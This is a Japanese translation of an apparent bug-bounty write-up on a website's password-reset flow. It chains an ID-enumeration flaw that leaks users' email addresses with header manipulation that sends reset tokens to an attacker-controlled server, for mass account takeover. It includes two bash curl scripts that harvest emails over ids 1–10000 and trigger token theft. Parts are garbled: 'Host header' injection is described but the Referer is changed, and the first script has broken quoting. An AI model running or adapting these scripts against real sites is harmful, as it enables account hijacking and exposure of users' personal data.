ソース:
脆弱性:IDOR
訳:
パスワード リセット機能の (FIRST) IDOR
発見された最初のバグには、redacted.com のパスワード リセット機能内の安全でない直接オブジェクト参照 (IDOR) が関係しています。
この脆弱性を再現する手順は次のとおりです。
- 「https://redacted.com/reset 」に移動します。
- 電子メール アドレスを入力してリクエストを受け取ります。
- リクエストには、「email」パラメータと「id」パラメータという 2 つのパラメータが表示されます。
- 電子メール パラメータは変更しません (電子メール パラメータは被害者の電子メールを取得するのに重要ではないため) ですが、「id」パラメータ値を変更します。
- 応答により、操作されたユーザー ID に関連付けられた被害者の電子メール アドレスが明らかになります。
(2 番目) パスワード レスト機能でのホスト ヘッダー インジェクション
2 番目の脆弱性であるホスト ヘッダー インジェクションは、パスワード リセット機能で確認されました。
この注入が IDOR バグと組み合わされると、大量アカウント乗っ取りの可能性への扉が開かれます。 次の手順を実行します:
- IDOR エクスプロイトを通じて取得した被害者の電子メールをコピーします。
- 被害者の電子メールを電子メール アドレス フィールドに貼り付け、リクエストを傍受します。
- Referer ヘッダーを「 https://redacted.com 」から「 https://your_Server.com 」に変更します。
- そして、リセットされたパスワード トークンが被害者のアカウントのサーバーに送信されます。
(3番目) 結果: 大量アカウント乗っ取り
これらのアクションを通じて、ハッカーはすべての個人アカウントのパスワード リセット リンクを取得できます。
これは最終的に、redacted.com プラットフォーム上のアカウントの大量乗っ取りにつながります。
このプロセスを 2 つのステップで自動化します
最初の一歩
この単純な bash スクリプトを使用して被害者のメールのワードリストを作成し、アクティブ ユーザーのメールを取得し、次のステップのリストを作成します。
url="https://redacted.com/reset"
output_file="output.txt"
email_regex="\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"
for *1; do
response=$(curl -s -X POST $url --data "email=&id=$id")
email=$(echo "$response" | grep -oP "$email_regex")
if [ -n "$email" ]; then
echo "ID: $id -> Email: $email >> "$output_file"
fi
done
第二段階
この bash スクリプトを使用して各電子メール アドレスに対してパスワードの電子メール ワードリスト リクエストを使用すると、最初のステップで収集した各電子メールのリセット パスワード トークンがキャプチャされます。
input_file="output.txt"
your_server="https://your_server.com"
while IFS= read -r line; do
id=$(echo "$line" | grep -oP 'ID: \K[0-9]+')
email=$(echo "$line" | grep -oP 'Email: \K[^,]+')
response=$(curl -s -X POST https://redacted.com/reset --data "email=$email&id=$id" -H "Referer: $your_server")
echo "ID: $id -> Reset Token Sent for $email"
done < "$input_file"
結果: 大量アカウント乗っ取り
これらのアクションを通じて、ハッカーはすべての個人アカウントのパスワード リセット リンクを取得できます。
ほなほな。
*1:id=1; id<=10000; id++